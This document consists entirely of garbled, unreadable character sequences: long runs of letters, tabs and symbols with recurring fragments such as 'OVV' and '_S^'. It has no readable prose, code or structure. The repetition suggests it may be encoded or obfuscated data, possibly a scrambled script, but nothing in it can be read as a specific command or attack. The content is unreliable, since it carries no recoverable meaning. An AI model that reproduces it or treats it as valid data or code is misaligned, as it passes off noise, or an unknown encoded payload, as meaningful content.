]G	JG	JmmGGGGGGGOF'8T OVVWQNOC	W_W_NNGGGmGGGGGG	^QV_T	OC	W_W_KGGCR_N\mGGmmmGmmmGmmmmGGGGGGGGOFCPU ^GGAAGGFCTU88	QGAAGGGFCPU	Q^WNGmmmmGGGO'Q^	UOVVWQNOC	W_W_NNGGGGGT8OC	W_W_KGGOT_^LTVNN\mGGOPQ WOC
Q	KGGGGGC	W_W_NNGGmGGCPU ^GZGGGG\mWT	OC
Q	N\C	8W^TWZJTVQ\CS 8ZOC	8W^TWYWNXC	8W^TW]JC	8W^TW\mGGmGGGGGmmmmGGOFCPU ^NGGGGGmGGGGGGO'Q^	UOVVWQNOC	W_W_NGGAAGGO	NG' _	S^OUUTNOC	W_W_NGFZZGGGC8NGGGGC	 ^ V
QPZ_LSP\C
_PZC	 ^ V
QPJT_\mGGGGGCRTR8UGZG' _	S^OVVV^NOC	W_W_N\mmGGGGGGGGGGGOF8T OVVUWNOCRTR8UNGGGOT
OVVUVNOCR_NGAAGGGCRTR8UGGFZZGGGCR_NNGGGmGGGGOQ^	UOVVUUNOCR_NNG	^QV_T	OC	W_W_KGCR_N\mmmGGOFC SPWNGWT	OC	W_W_N\mHHG07G4G+	G	G	mmGGGGGGGmGG	OCRTR8UN\mGGGGmGGGGGGOF'T
OVVWQNOC	W_W_NNGGm	^QV_T	OC	W_W_KGCR_N\mmSS_UU8OQ^	UOVVUTNKGG _	S^OVVUSNGGGIGGGG _	S^OVVWSNOC	W_W_NN\mWT	OC
Q	N\mG	GG\mGmmmmGGG'OKGC	W_W_N\mmGGCS	UPGGGGZGG\mmmGGGGOC8G[ZGOUW^PW_WLPUNNGmmmCPRVT ^GGZG'8T OVVURNOC	W_W_N\mGGGGGGmmGGGGCS	UPGGZGGGGO8T OVVUUNOCPRVT ^NGGGGAAGG8T OVVW_NOCPRVT ^NGGGGZZZGGGGC8GAAGGGGGGQ^	UOVVUQNOCPRVT ^NGZZZG8T OVVUQNOC WR8NN\mGGmGCRUQPW^VGGGGZGGT
OVVUPNO8T OVVU_NNGGGXGG'8OT
OVVUQNKGC	W_W_NGGGG]GGGG\mGGOT
OVVU^NOCRUQPW^VNGAAGGCRUQPW^VGGFZZGGGEENGCS	UPGGGGZGGOCRUQPW^VGGZZZGGGGQ^	UOVVUQNOC WR8NN\mGGGGGGGGGGmHHGGmmGGCV
_	GGGGGGZGGGGGG'T
OUUTNOC	W_W_N\mGGOCV
_	GGZZZGGGGGC8NGGGGGmGGGGGGC_VP
GGZGG'T
OVVURNOC	W_W_KGGGGGKG	KGGWKGGGOSWPRLUVNN\mGGC8GZGGGG'8T OVVURNOC	W_W_KGGGGGKGGG	KGGC8GJGGOPWWTJU^WPNN\mGCS	UPGGZGO8T OVVTWNOC_VP
NGGGAAGG _	S^OVVTWNOC8NGGAAGGC_VP
GGGZZZGGGQ^	UOVVVUNOC WR8KGGWKGOWSULWVNNGGAAGGC8GGZZZGG _	S^OVVTVNOC WR8KGC8GJGOUW^ULUWWSNNN\mmmmGmGmmmmGGmmmGGGGGOFCS	UPNGmSS_UU8OQ^	UOVVUTNKGT
OVVTUNGGIGG _	S^OVVWSNOC	W_W_NN\mmmmGGGGGOCPU	Q^WNGG	_	_PSUWRTOC	W_W_KGGGGN\mGGGGGGGGO _	S^OVVTTNOCR_NNGGGmGGC
^ T
TGZGT
OVVUPNO8T OVVTSNNGGGGGXG'8O _	S^OVVUQNKGGGC	W_W_NG]G\mGGGGGGOT
OVVTTNOC
^ T
TNGGAAGC
^ T
TGGGGFZZGGEEGAAGGGC
^ T
TGFZZGG8T OVVUQNOC WR8NGGAAGC
^ T
TGGGFZZGGGGT
OVVUQNOCR_NNGGGmSS_UU8O8T OVVUTNKGGG8T OVVTRNGIGGGT
OVVTQNOC	W_W_NN\mG	G\mmmGmGGGCSQQV
GGGGGZGGGGGG8QQ	TS8VQWQOCPVWKGGG _	S^OVVW^NN\mGGGGGGGOCSQQV
GFZZGGGAAGG'Q^	UOVVVRNOCSQQV
KGGCR_NGGGGZZZGGGGT
OVVW_NOCR_NNGGGGGmGGGGGGGGGOFPRW8UOCSQQV
KGC	W_W_NNGGmGO'T
OVVWQNOC	W_W_NGGAAGGGGFCTU88	QNGGGGGT8OC	W_W_KGOVQ^LURVNN\mGGOFCTU88	QGGGGGAAGGPQ WOCSQQV
KGGGGGGC	W_W_NNGmWT	OCSQQV
N\mGGGGGGGGGGGGmGG'T
OVVVRNOC	W_W_KGGCR_N\mGGGWT	OCSQQV
N\mmGGGmmGGGGmGGGGGOCSQQV
GFZZGNGGGGGGWT	OCSQQV
N\mGGGG'8T OVVTPNOC	W_W_KGGCR_N\mmGmG	_			_OC	W_W_N\mGGGGGGGGOFC SPWNGmGGWT	OC	W_W_N\mGGGGGGGmGGGGGG	G\mGGmGGGGGGGG	_			_OC	W_W_N\m^SSSVTOC	W_W_N\mGGGGGT8OC	W_W_KGOWVQSLWSWNN\mGGGGGGGGGOCPU	Q^WNGGG	_	_PSUWRTOC	W_W_KGGN\mGGGGGG	GGGG\mGmG		GGGWW	8SOC	W_W_KGGGCQWTVNmGGGGGGGmHMGGJ	GMHmmmC
U WWGGZGGGE[X;	E\mGGGGGGGGO8T OVVTTNOCQWTVNGAAGGGGGCQWTVGGGGFZZGGGEEGGAAGGT
O^PWNOCQWTVKGG _	S^OUR^NNGFZZGGGGAAGGGGGGR	^W8POCQWTVNNGGC
U WWGGZGGCQWTV\mGGO'T
OVVT_NOC	W_W_NNGGGmGGGGGC VT_TGZGGGG'Q^	UOVVURNOC	W_W_N\mmmmGGGGGO8T OVVTTNOC VT_TNGGAAG8_PRSPOC VT_TNGGGZZZGGGGC
U WWNGGGG	\mmmGmmmGGGGGOFTST		RVOC	W_W_KGC
U WWNNGGGGGmGGGGCUSUSRGGGGGGZGGG'8T OVVURNOC	W_W_N\mGGGOFOT
OVVT^NOCUSUSRNGGAAGGG8_PRSPOCUSUSRNGZZZGC
U WWNNGGGGG'T
OVVTPNOC	W_W_KGGGC
U WWN\m	OCUSUSRN\mGGm	_			_OC	W_W_N\mGmGGGG		GTQR88Q
W_
ONmmmGGO _	S^OVVUPNOT
OVVSWNNGGGGGAAGG^PRU	8ONNGGGG	G\mGOFQ^	UOVVSVNO _	S^OP_TNNGGGGGGGGF8T OVVSVNO _	S^O^WTNNNGGGGGG	GG\mC
_VQ GZG
8O@H@N\mGGC
_VQ GIZGGGO _	S^O^PWNOC
_VQ KGGG@X@NGZZZGGGGGXGG@X@GGG]GG@A@NGIGGGG _	S^OVVSUNGGGGIGGGQ^	UOVVSTNONGGIGGGG _	S^OVVSSNOOWTSLWTWNKGOWVQVLWU_QNN\mGGGGGGGCUVS^RPQGGGGZG8T O^WTNOC
_VQ KGOQ^	UOVVSRNGZYGGOV^T9UWVNKGGGGT
OVVSQNGGZYGKGGT
OVVSPNGZYGGGUKGGT
OVVS_NGGGGGGZYGOQ^	UOVVS^NGGGZYGGT
OVVRWNNNN\mGGGGOT
OVVRVNOT
OTSUNNGGAAGGG88OCUVS^RPQNNGGGGmGGGGOQ^	UOVVRUNOT
OP_PNNNGGGG8T OP_PNOVN\mGGGCUVS^RPQGGGGZGGGGGG8T O^WTNOC
_VQ KGGO8T OVVRTNGGZYGGGGGGORLTNKGGGGG _	S^OVVSQNGZYGGKGT
OVVSPNGZYGUKGGG8T OVVS_NGGZYGGGOT
OVVS^NGGGGZYGGGQ^	UOVVRWNNNN\mmGGGOT
OVVRUNOT
OVVRSNNGGGGAAG88OCUVS^RPQNNG	GGG\mGGmGCV		QGZGGO	NGGG8
88	8OCUVS^RPQN\C^WTPPZSVT\C
T WZOC^WTPPYWNXC^WTPP]JC^WTPP\mGG	GGGCV		QGGYZGGGGORL^RNGGGGAAGGCV		QGG[GOWVWULWUN\mGGGGm		GS
	VVVUOCQ8R^ T	_KGGGGGC_R^	SQP8NmGmGCP8QUQUGGZGG _	S^OVW__NOQ^	UOVVTQNOC_R^	SQP8NKGGG@H@N\mmmGGGGGGGOmGGGGGGOmmmm8T OVVRRNGGGGGGIGGCP8QUQUGGIGQ^	UOVVRQNKmGGT
OVVRPNGGIGCP8QUQUGGGGIGG8T OVVRQNKmGQ^	UOVVR_NGIGGCP8QUQUGIGGG8T OVVR^NKmGNGGGGC	RRmGGGNGGGmGGGGOF _	S^OVVT^NOCQ8R^ T	_NNGG\mmmmGGGCQ8R^ T	_GGGGZGG8T O^^WNOC	RRKGGGGGE;	EKGGGCQ8R^ T	_N\mGGGGGmmmm	GGGGCQ8R^ T	_\C
VUZJP_W\CRUVTUVZOC
VUYWNXC
VU]JC
VU\mGmmmmGGGGG		GGGG	_			_OC_NmmGGGGGGGOQ^	UOVVQWNO8T OUWWNNNGGGmGG	GGG'8	OC_KGGNGGGFZZGGGG\mmGGGGCP
 
R
GGGZGGGGGGT
OVVQWNO8T OVVQVNNGGXGGG'8 8ONGGGGG]GGG\mG	GGGFOT
OVW_RNOCP
 
R
NGGAAGGF
OCP
 
R
< _	S^OVVQUN:NN\mGGm		GT^UWPU	P^OC	W_W_KGGGGC8KGC8PS__NmGGGmGGOT
OVVTVNOC	W_W_KGJO_JSNNGGZZZGGGGGGQ^	UO^__NNGGGmGGGGGOFTST		RVOC	W_W_KGC8NNGGmGSS_UU8OC8PS__KGGGGQ^	UOVVQTNGIGT
OVVTQNOC	W_W_NN\m	G\mGGm	_			_OC	W_W_N\mGGGG	GGQ^	UOVVW_NOC8N\mmmmGGGGmCU8_UVRQGGZGGG' _	S^OVWSNOC	W_W_KGGGGG _	S^OVVQSNN\mGGGGOCU8_UVRQGGGGZZZGGNGmGGGGGSS_UU8OC8PS__KG8T OVVQTNGGGGGIG8T OVVQRNOC	W_W_NN\mGGGG	GGG\CR_ZV^MQ\CSTVQ^8ZCR_JT^\mmGGGGGOT
OVVQWNO _	S^OVVQQNNNGG'OCU8_UVRQKGGGGG+($,8"?N\mmGCUVS^RPQGZGGG'Q^	UOVVQPNOCU8_UVRQKGGGC8N\mGGGGGGGGO8T OVVQWNOQ^	UOVVQQNNNGG'OCU8_UVRQKGGGG+($,82)N\m'OCU8_UVRQN\mGGGOCUVS^RPQGGZZZGGGGGGGGGOC8GGFZZGGGEEGGGAAGGCUVS^RPQGFZZGGGT
OVVW_NOC8NNNGmGSS_UU8OC8PS__KGQ^	UOVVQTNGIGG8T OVVQRNOC	W_W_NN\mmmmGG	G\mGGGGGGmGGGGGG	GCUVS^RPQ\mGGGGmmmGmGGGGGGG		GGGQUPSP^ONmGGmHHGG	JmmGGmGGGGGGGGGOFQ^	UOVVQWNOQ^	UO_PSNNGGFQ^	UOVVQ_NOQ^	UOVVQ^NNNGGmST
PSVQQ_P O	N\mG	\mGGmmmGGGO 8		O8T OVVPWNNNG	\mGGGGGO 8		O _	S^OVVPVNNNGGGGGG	\mGGGGGG8		O _	S^OVVPUNKGVKGGORTVLQ^NN\mGST
PSVQQ_P O	N\mGGGGO _	S^OVVQ_NOQ^	UO_^WNNNGG8		OT
OVVPUNN\mC8^GGGZGT
OVVQ_NO8T OVVPTNNGGGXGO	 NGGGGU ^STT	88O8T OVWPSNKGEENGG]GGGEE\mGOC8^GGGFZZGEEGGGAAGGGT
OVVPSNOT
OVVPRNNGGAAGGG	
8OC8^NNGGm8		OQ^	UOVVPWNKGGGVKGOT_^V_JVPTV_NN\mmmmGGGGmGGGGO3GGC	VRV8UNGmHHG'	GJmmGGSS_UU8O8T OVVPQNKGC	VRV8UN\mGGGGGO"	GGGGGC	VRV8UNGGCU_VWWVZTTL^T\C	^P8ZCU_VWWVJSP\mGmGGGmmmmGGGGG		GGGGGGST
PSVQQ_P OCP_8VRNmmGmGGGGGGGGOF
^PURR^_Q
^	SVOT
O_WVNNNGG	\mGGGGGmGGGGGGGGGGOFG8T OVVPSNOT
OVVPPNNGGGGGGFGGGGG8T OVVP_NO _	S^OVVP^NNNGm	\mGGGGmGGCRQS^GGGZGGO	 NGGGGU ^STT	88O8T OVWPSNKGGEEN\mGGOCRQS^GGGGFZZGGEEGGGGAAGGGG	
8OCRQS^NGGGGAAGGGGGO	 NGGU ^STT	88O _	S^OVWPRNKGEENGGGGGFZZGGEENGm	\mGGmGGGGGOCRQS^GGZZZGGEENGmHMG	G		GMHmmmmmGGC
UT^
^	P_GGGZGGT
OVV_WNOCP_8VRNGGGXGGCP_8VRG]GGGG8T
^ PRSON\mGGCRTS8GZGGGGUR  8  Q8OC
UT^
^	P_N\mGGGGGGOmmGGCRTS8GGGAAGGF
OCRTS8JY8 	NGGAAGGGOCRTS8JY8
NmmAAGGGGCRTS8JY8
GGZZZGGCRTS8JY8 	GGIGGGGGG@'@GGGGGIGGG WOQ^	UOVV_VNNmGNGGGGmGGGGGCRQS^GGGGZGO	 NGCRTS8JY8 	\mGGGmGGGGGmGOCRQS^GFZZGGGEEGGAAGGGG	
8OCRQS^NNGGGmmmGC^ P
SRV
8QGZG	
8OCRQS^N\mGGGGGGC V_QGGZGSVQWP U	W	 VOOVQR9V_^NN\mmmmGGGGGGO _	S^OVV_UNOQ^	UOVV_TNNNGGGGmG8T OVV_TNOC V_QKGC^ P
SRV
8QN\mmmGGG8UQ	
UUOT
OVWPSNKGCRQS^KGGT
OVW_UNN\CP^SZT^MR\C
PP_ZCP^SJT^\mGGGG8UQ	
UUO _	S^OVWPRNKGGGC V_QKGT
OVV_SNN\mGGG	\mGGGGGmCSGGGZGG^UQ V
ON\mGGGGGGGONGmGGCRQS^GGGZGGGGEE\mGGGOC	QW
	8_GZGW\GGC	QW
	8_GG[GO^JSN\GGGC	QW
	8_LLNGmCQ
W GZGGCS< _	S^OVV_RNOCSN:GIGSVQWP U	W	 VOOVTS9VSWNN\mGGGGOF	
8OCQ
W NNGGGGGmGCRQS^GGZGGGCQ
W \mGGG\mHHG07G7 G%G
	G
mmmGGGGGmGGGGmGGGGGGGGOCRQS^GZZZGGGEENGGmHMGJ	GGMHmmGGGGSS_UU8O _	S^OVV_QNKGGG8T OVV_PNN\mGG	\mmGGGmC V_QGGZGGGSVQWP U	W	 VOOSPJUTNN\mGGGGGGOFGGGGQ^	UOVV__NO _	S^OVV_^NNGGAAGGG	OT
O^QQNNGGGGAAGGQ^	UOVV^WNO&%47&3/GIGQ^	UOVV^VNNNGGGGGmHHG5GGGGmCSW	 ZSLUS\C__^S	ZCSW	 JT^\mG8	GGGG&%47&3/GGGGGGIGGGGT
OVV^VN\mGGGGGGGmmmGGGGGGGC_W 	Q VGGGGZGCRQS^GGIGGG@'@GGIG WOQ^	UOVV_VNN\mCWS
T8^WGGZGG\mGGO _	S^OVV__NO _	S^OVV_^NNNGGGmmCWS
T8^WGGGZGGGGT
OVV_^NOOmmmmGGGT
OVV^UNGGGZYGGGCRQS^KmT
OVV^TNGGGZYGGGC V_QKmGGGG8T OVV^SNGZYGC_W 	Q VKmGGGG8T OVV^RNGGGGZYG8T OVV^QNKmGGQ^	UOVV^PNGZYGGCRQS^KmGGGGGGGNN\mGGO88OCWS
T8^WNNGGGGmGGGGGSS_UU8O8T OVV_QNKGCWS
T8^WJY 88ONGGGIGGG@]@GIGGCWS
T8^WJY 88
 ONN\mmGCWS
T8^WGGGGGZGG\mmmGGmGmmGGGGGGOFCWS
T8^WNGGGmmmmGGGGGCGZGOC +(%&+4<8T OVWTQN:NGGXGC +(%&+4<T
OVWTQN:GG]GG	\mGGOFCGGGGGF _	S^OVWPQNOCNNGGmGGGGSS_UU8OQ^	UOVV_QNKGGT
OVV^_NN\m	\mGmGGGCQRRGGGGGZGGGQ^	UOVV__NOQ^	UOVV^^NNGGXGGGG88OC V_QNG]GGGG8T OVVUQNOC V_QN\mGGGCV_PGZGGGG8T OVV__NOT
OVUWWNNGGGXG	8
O _	S^OVUWVNNGGG]GG 
O _	S^OVUWUNN\mCWS
_RU^Q8GGZGGGGGGCJY	OCJYKGOmGGT
OVUWTNGZYGGGCRQS^KmGGG _	S^OVV^TNGZYGGGCQRRKmmmmGT
OVUWSNGGGGZYGGGGCRQS^KmGGT
OVV^SNGGZYGGGGC_W 	Q VKm8T OVUWRNGGGZYGGCV_PKmGGGG _	S^OVUWQNGGZYGGGGWKmmmmGGGGGG _	S^OVV^PNGGZYGCRQS^KmmmmGGNKGGGOQ^	UOVUWPNKGG8T OVUWPNKGGQ^	UOVUWPNKGG _	S^OVUWPNKGGQ^	UOVUWPNKG8T OVUW_NKGGGGGG8T OVUWPNNN\mGGGOFCWS
_RU^Q8NGGGmGGGGGGGSS_UU8O8T OVV_QNKGQ^	UOVUW^NN\mmmG	\mmmmGGmGGCWS
T8^WGGZGGO	NGCJY	8\mGC
TGGGZGGGGGGCJYGIGGGGT
OVWTPN\mCJY	OCJY
KGGOmmGGGGGGGQ^	UOVUVWNGGGZYGGCWS
T8^WKmGGGT
OVUVVNGGGGZYGGGGC
TKmGG _	S^OVUVUNGZYGGG _	S^OT^QNOOT
OVV^QNGGZYGNNKmGNKGOT
OVUW_NKGGGGGG8T OVUWPNKGGGGGT
OVUWPNNN\mmmGCJY	OCJY
KGGGGOmGGGGQ^	UOVUVWNGZYGCWS
T8^WKmmmmG8T OVUVTNGGGGZYGGGGGGCJYGGGGIGGT
OVUVSNKmGGGGGG8T OVUVUNGGZYG@VW@KmGGNKGGGO8T OVUW_NKGGGQ^	UOVUVRNKGGG _	S^OVUVQNNN\mGGGGGO _	S^OVV__NO8T OVUVPNNNGmG	88OCWS
T8^WN\mGGGGGmmGmGGGGGOF	
8OCRQS^NNGmGGGGGSS_UU8O8T OVUV_NKGQ^	UOVUV^NN\mmmG	\mmmmmGC88QRTGGZGGGGGT
OVUUWNOQ^	UOVUUVNNGGXGGG 88O _	S^OVUUUNKGGGCRQS^NGG]GGGGG\mGC_SSQUPGGGGGGZGG\mGGGGOC88QRTGGAAGGGF
OC88QRTJY.#NNGGGmmmGGOQ^	UOVUUWNOQ^	UOVUUTNNNGGGmC_SSQUPGGZGGONGG8	OC88QRTKGG _	S^OVV^QNN\mGGGOOC88QRTJYNGGGAAG8T OVV_WNOC88QRTJYNNGmC_SSQUPGZGGGGGF
OC88QRTJY<Q^	UOVV^QN:N\mGGGmGmHHG07G%G&7.GT]G G
mmmGGGOFC_SSQUPNGmGSS_UU8OT
OVUV_NKGGGGG8T OVUUSNN\mGGGGOCWS
T8^WNGGGGGmGGGGGGGGOF8T OVUUWNOQ^	UOVUURNNGGGGAAG	OT
OVUUQNNGGAAG'T
OVV^WNO&%47&3/GIGGGG8T OVUUPNNNGmGGGG8	GG&%47&3/GGIGGGT
OVUUPN\mmmmGGGGmGGGGGGGOQ^	UOVUUWNO _	S^OVUURNNNGGGGG'88OCWS
T8^WN\mmGGG	\mGGGGGGmGG8UQ	
UUOQ^	UOVWPSNKGGGCRQS^KGGT
OVUU_NN\mG8UQ	
UUO8T OVWPRNKGGGC V_QKGGG _	S^OVUU_NN\mGGGGGGGGGGO3GC	VRV8UNGGmHHGG	G
 JmmmSS_UU8OQ^	UOVUV_NKGC	VRV8UN\mGGGGGGGGO"	GGGGC	VRV8UNGGGGGmGGGGG	GGmG RT^
U^OQ^	UO_WVNN\mGmmmGG		GGGGG8WWSQTOCQ8PSNmGGmmmmGGGGmmGGGGGGOFGGQ^	UOVWPQNOCQ8PSNGGGGFGG8OCQ8PSKGG8T OVUU^NNNGGGGmmGGG	GCQ8PS\mmmGGGmmmmmGCRQS^GGZGG8T OVUUWNO8T OVVPPNNGGGGXGGGO	 NGGGU ^STT	88OT
OVWPSNKGGGEENGGG]GEE\mGGGGOFGGCRQS^NGmmG	GGGGGGCQ8PS\mGmGGmGCRV^WGGGZGGGG8OCRQS^N\mGGGGGGO _	S^OVUTWNOCQ8PSJY8KGGCRV^WNGZZZGNGmGCQ8PSJY8GGIZGGG8T OVUTVNGIGGCRV^WGIGGE@E\mGGGGGGmGGGGGGGO3GGGGC	VRV8UNGGGmGSS_UU8OT
OVUTUNKGGC	VRV8UN\mGGGGGGGGO"	GGGGC	VRV8UNGGmmmmGmmmGGGGG	GGCQ8PS\mGGGGGGGmG		GGGGT ^QVOC 8NmmmmGGGmHMG 	GJ	GMHmmGGGGmGGGGC8^GZGGT
OVUUWNOT
OVUTTNNGGXGO	 NGGU ^STT	88O8T OVUTSNKGEENGGGGGG]GEE\mGGGGGGOFGGC8^NGGGmHHG	G
	mm	GGC 8\mGGGGmGGGGC	^^GGGGZGGGOT
OVUTRNKG _	S^OVV^QNN\mGGGGGGGGGOC	^^GGGGCNGGGmGGGGGGOOC 8<C:NGAAGGG _	S^OVVT^NOC 8<C:NGGAAGGGG8T O_WQNOT
OVUTQNKGGGC 8<C:KGGGCPVR^
	Q^PNNGGmC

WUW VGZGG8T ORTRNOWKGGGO	NGGGGCPVR^
	Q^P<V:GGJGGVN\mGGmmmmmGGGGC 8<C:GZGGGGGG _	S^OVUTPNOT
OVUT_NKG@O@GGIGGC

WUW VGIGGG@N@KGC 8<C:N\mmGmmmmGGGmGGGGGO3GC	VRV8UNGmGGSS_UU8O8T OVUT^NKGC	VRV8UN\mGGGGGGGO"	GC	VRV8UNGmGGmGG	GGGGC 8\mGGGGGm		GGGGGT
 	8U_U_SOCQWSKGCQW	PQ
NmGGCQ^SR^ZRTQV\CU WS^ZCQ^SR^BVS\mGGGmGCRQS^GZGGGT
OVUUWNOT
OVUTTNNGXGGGO	 NGU ^STT	88O8T OVUSWNKGEENGGGG]GGGEE\mGGGGGGOCRQS^GGGGZZZGGEENGGGGmGGG	GGGGGCQWS\mGGmGGGGGGOFGG _	S^OVV_WNOCQWSNNGmGGGG	GCQWS\mGGGmGGGGGGGGGGGGGOFGGOCQWS<Q^	UOVUSVN:NGGGGGGFGG _	S^OVV_WNOCQWS< _	S^OVUSVN:NNGmGGCQWS<8T OVUSUN:GGGGZGGON\C8U^T
VUZUP^\C^PZOC8U^T
VUYWNXC8U^T
VU]JC8U^T
VU\mmGGGGGOFGGG _	S^OP^QNOCRQS^KGGGGGCQWS< _	S^OVUSUN:KGNNGGGGmGGGGGCQWS<8T OVUSUN:<:GGZGGCRQS^\mmGGGGGGO3GGC	VRV8UNGmSS_UU8OT
OVUSTNKGGGGC	VRV8UN\mmGGGGGGGGO"	GGC	VRV8UNGGGGGGmGGmG	GGCQWS\C	8ZRLU\CU PZC	8JSP\mmGGGGGGm		GRS_P S
WWONmGGGGGGGmmGGGC8W
QWGGGZGGGON\mGGmmGGGGGGGO	OT
O_U_NNGAAG8T OVUUWNO8T OVUTTNNNGGGmHHG*46+G_G$3"]G	
	GJ	mmGGGGCVTT	GGZGGGGONGGGGG 8	OQ^	UOPP_NKGGGGGGONN\mGGGGGC	VGZGGGON\mGGGOCVTT	GGGGC	
NGmGGGGGOFGGQ^	UOVUSSNOC	
NGGGGG8T OVUTWNOC	
KGGG8T OUSQNNGGFZZGGNGGmmmmGGG		\mmHHG	GGmmGGGGC8QGGZGGG8T OVUSRNOC	
N\mGGGGOC8QGGZZZGGGG@I@NGGmGGGC8QGZGGGGC	
\mGGGGGGGGmGGGGGGGGGOOC	V<C8Q:NNGmm		\C ZTQMS\CVPU^WP^ZC JS_\mGGGmmGmmmmC	V<C8Q:GZGGGGG\mC	W_W_GGGZGG0787+2 .)8#.5GGGIG@H@GGGIGC	
\mGO _	S^OVUSQNOC	
NGGGGGZZZG@I@NGGGmGGO' _	S^OVVT_NOC	W_W_NNGGmGC8W
QW<:GGZGC	W_W_\mmHHGG
	GmmGGGGGGGmmCPVWGGGZGGGQ^	UOVUSQNOC	W_W_N\mmGGGGGGO'8T O_PPNOCPVWNNGGGGmGC8W
QWGGGGGZGGGGG _	S^OVUSPNOC8W
QWKG	8V UUPQOCPVWKGGGGO8T O_S_NNNN\mGGmGmGmmmGGGmHHGG	JGG07G!	G+mmmmmmGGGGGGGGGO'8T O_PPNO8^	_SWW	ONNNGGmHHG'	G	mmGGGGGGC	TUQ
GGZGGGGUVT	PRPO8^	_SWW	ONN\mmGGGGGGOQ^	UOVUS_NOC	TUQ
NNGmmmGGGGOC	TUQ
GGGGGGGGGC QW	RNGmGGGGGGGGGOC QW	RGGGGZZZGGG_R T_R^ONNGmmGG		\mmmGGGGGGGGmGGGC_GGZGGG8^	_SWW	ONGIGGGGGG@H@GGGIGGGC QW	R\mGGGGGO'8T OVUS^NOC_NGGGGAAGG _	S^OPPNOT
O_UUNOC QW	RKGGG		OT
OVURWNNNNGGGGZZZG _	S^OVURVNNGmmGGGGC8W
QW<:GGGZGC_\mGGGmGmmmmmmGGGGGmmmmGGGGGGGGO	O8T OVUUQNNGGAAGGG _	S^OVUUWNO _	S^OVURUNNNGmCWS
GGZGO	 NG 8	O _	S^OVURTNKGGGGGGEEN\mGGmmC
GZGGO	 NG 8	O _	S^OVURSNKGEEN\mGCWSGZGG	O8T OVURRNNGGGXG078$()3")38#.5GIGGT
OVURQNGGGG]G&%47&3/GIGG _	S^OVURPN\mGGGGCPRTW
P 8	GZGGGGGQ^	UOVUR_NOT
OTP^NOOCWS
KGGC
NNN\mGGGGGGGGGOCPRTW
P 8	GGGGGGCU NGmGGOQ^	UOVUR^NOCU KG8T OVUQWNNGGFZZGGNGGGGmG		\mmC	TWRGGGGGZGGGCWSGGGGIGG@H@GGIGCU \mGGGGGGO'8T O_PPNOC	TWRNNGmGGGGmGGC8R
S8TQUGZGGUVT	PRPOC	TWRN\mGGGGGGO8T OVUS_NOC8R
S8TQUNNGmGGGOC8R
S8TQUGGGGC QW	RNGmGGGGGGCWT^GGGGGZGGC	TWRGIGG@H@GGGGGGIGGC QW	R\mGGGGO' _	S^OVUS^NOCWT^NGAAGQ^	UOPPNO8T O_UUNOC QW	RKGG		OQ^	UOVURWNNNNGGGZZZGGG8T OVURVNNGGGmGGGC8W
QW<:GZGCWT^\mGGmGGGGmmHHG07G7G"G
	G
mmGmGGGC
P
STUGGGGGZGGC	TWRGGIGGT
OVUQVN\mGGO'Q^	UOVUQUNOC
P
STUNNGmGGGGC8W
QWGGZGGQ^	UOVUSPNOC8W
QWKGGGGG	8V UUPQOC
P
STUKGOT
OVURVNNNN\mmmmGGGGGGmGGGGGGmGmmmGmGGGG	GGGGG _	S^OVUR_NOC8W
QWN\mmmmGG		GGWPQ
WUSW OC _WNmGmGGGGOF8T OVUQTNOC _WNNGGGGG	GGON\mmmmCT	8GGGGZGGON\mGGGGGGOC _WGGGGGCUVS^RPQNGmGGGOFT
OVUSSNOCUVS^RPQNGGGGCUVS^RPQGZZZGGGGEEGGGGGGT
OVUQSNOCUVS^RPQNGYGGGOSWV^LPPNNGG		\mGGGmHHGJG	
GmmGO'8T O_WQNOCUVS^RPQKGGEENGGZZZGGGGGNGG		\mGGGGGO3GGGC	VRV8UNGmGGGG		\mmmmGGGGO"	GGC	VRV8UNGGGmGGG		\mmGGCT	8<:GGGGZGGCUVS^RPQ\mmGGGGGmHHG07G/
G+	]GG
	JmmGGG	GCT	8\mmGm		G_TR	8OC _WNmGmGGGmGGGmGGGO
OC _WNNGGGmmmGGG	GG\CR8ZVPUR\CWSUZCR8BU\mGGGmmmGC8W
QWGGGZGGRS_P S
WWON\mmmmGGGGGGGO
OC8W
QWNNGGGGGmHHGG		JGG07G7G3mmGG	GGGGG\mGmGGGGGCS	 GGGZG\mGGGGGGOC8W
QWGGC_NGGGmGGmGGGOFG'Q^	UOVUS^NOC_NGGGGFGGGGG'T
O_P_NOC_NNGm		\mGGmmGGGGGGGGO'Q^	UOUUTNOC_NGGGGYGGGORUSUUSLQSNNGm		\mmmGGGGmC WR8GGZGG' _	S^OVVURNOC_N\mGGGGOFGC WR8GGGGFGQ^	UOVUQRNOC WR8NNGm		\mGGGGmmGGGGmGmGGGC QQU^_TGZG\mmmmGGOC _WGGGC8Q8R8QNGGmGGmmGGGmmmmCVSVGGZGGGG'Q^	UOVUTPNOC8Q8R8QKGEEKGGGC WR8N\mGGGGGGOCVSVGGGFZZGG	GGGGAAGGGGGCVSVGGGFZZGC WR8NGGmGGC WR8GGZGGGGCVSV\C_^_SSZJ^_Q\CSZOC_^_SSYWNXC_^_SS]JC_^_SS\mGGC QQU^_TGZG\mGGGmHHG07GQIQGG		 ]G	G	mmGGGGGGGGGGGO3GGGC	VRV8UNGmGGGSS_UU8O8T OVUQQNKGGGGGC	VRV8UN\m		\mGGGGGGGGGO"	GGC	VRV8UNGGmHHG07G) 	G%G		G	mmGG		\mGGGmGGmGGmGGGGOC QQU^_TNGGGGmGGOTST		RVOC_KGC WR8NNGGGGGmCS	 GGGZGG\mGGmGGmmGGGmGGGm	GGCS	 \mmGGGGGGGGGGGO3GC	VRV8UNGmHMG
GGMHmmSS_UU8O _	S^OVUQPNKGC	VRV8UN\mmmGGO"	GGGGGC	VRV8UNGGmGGGmHMG	GJGMHmmGG	G\mmmGGGGGGmGGGmG		GGGGGGU

^OCPVWKGGGC
	WRNmmmmGGGGGGGGmmmmGGGGGGC
SURS	GGZGGON\mGGGC
	WRGGZGGC
	WRGGGJGGV\mGGGGGGGGmGGGGC 	RUGGZG' _	S^OURWNOCPVWN\CWQ ZUSMR\C^TZCWQ JUS\mGGGOFGG8T OVUQTNOC 	RUNNGmmm	GGC
SURS	\mGGGGmGGGGGC 	RUGGGZGGGT
OVTSNOC 	RUKGGWKGGOW^LWVR_NN\mmmGGmGGGGGOC 	RUGGGC QW	RNGGGmmmmmGGGGGOC QW	RGZZZGGG@I@GGGGGGGC QW	RGGGGZZZGQ^	UOVUQWNNGGGGmGGG		\mGGGGGGmmmmGCS
VRGZGGCPVWGIGG@H@GGGGGGIGGC QW	R\mGGGGGGGGOFGGGG' _	S^OVUQUNOCS
VRNNGGGmGGG		\mGmGGGmGGGGO'Q^	UOVUQUNOCS
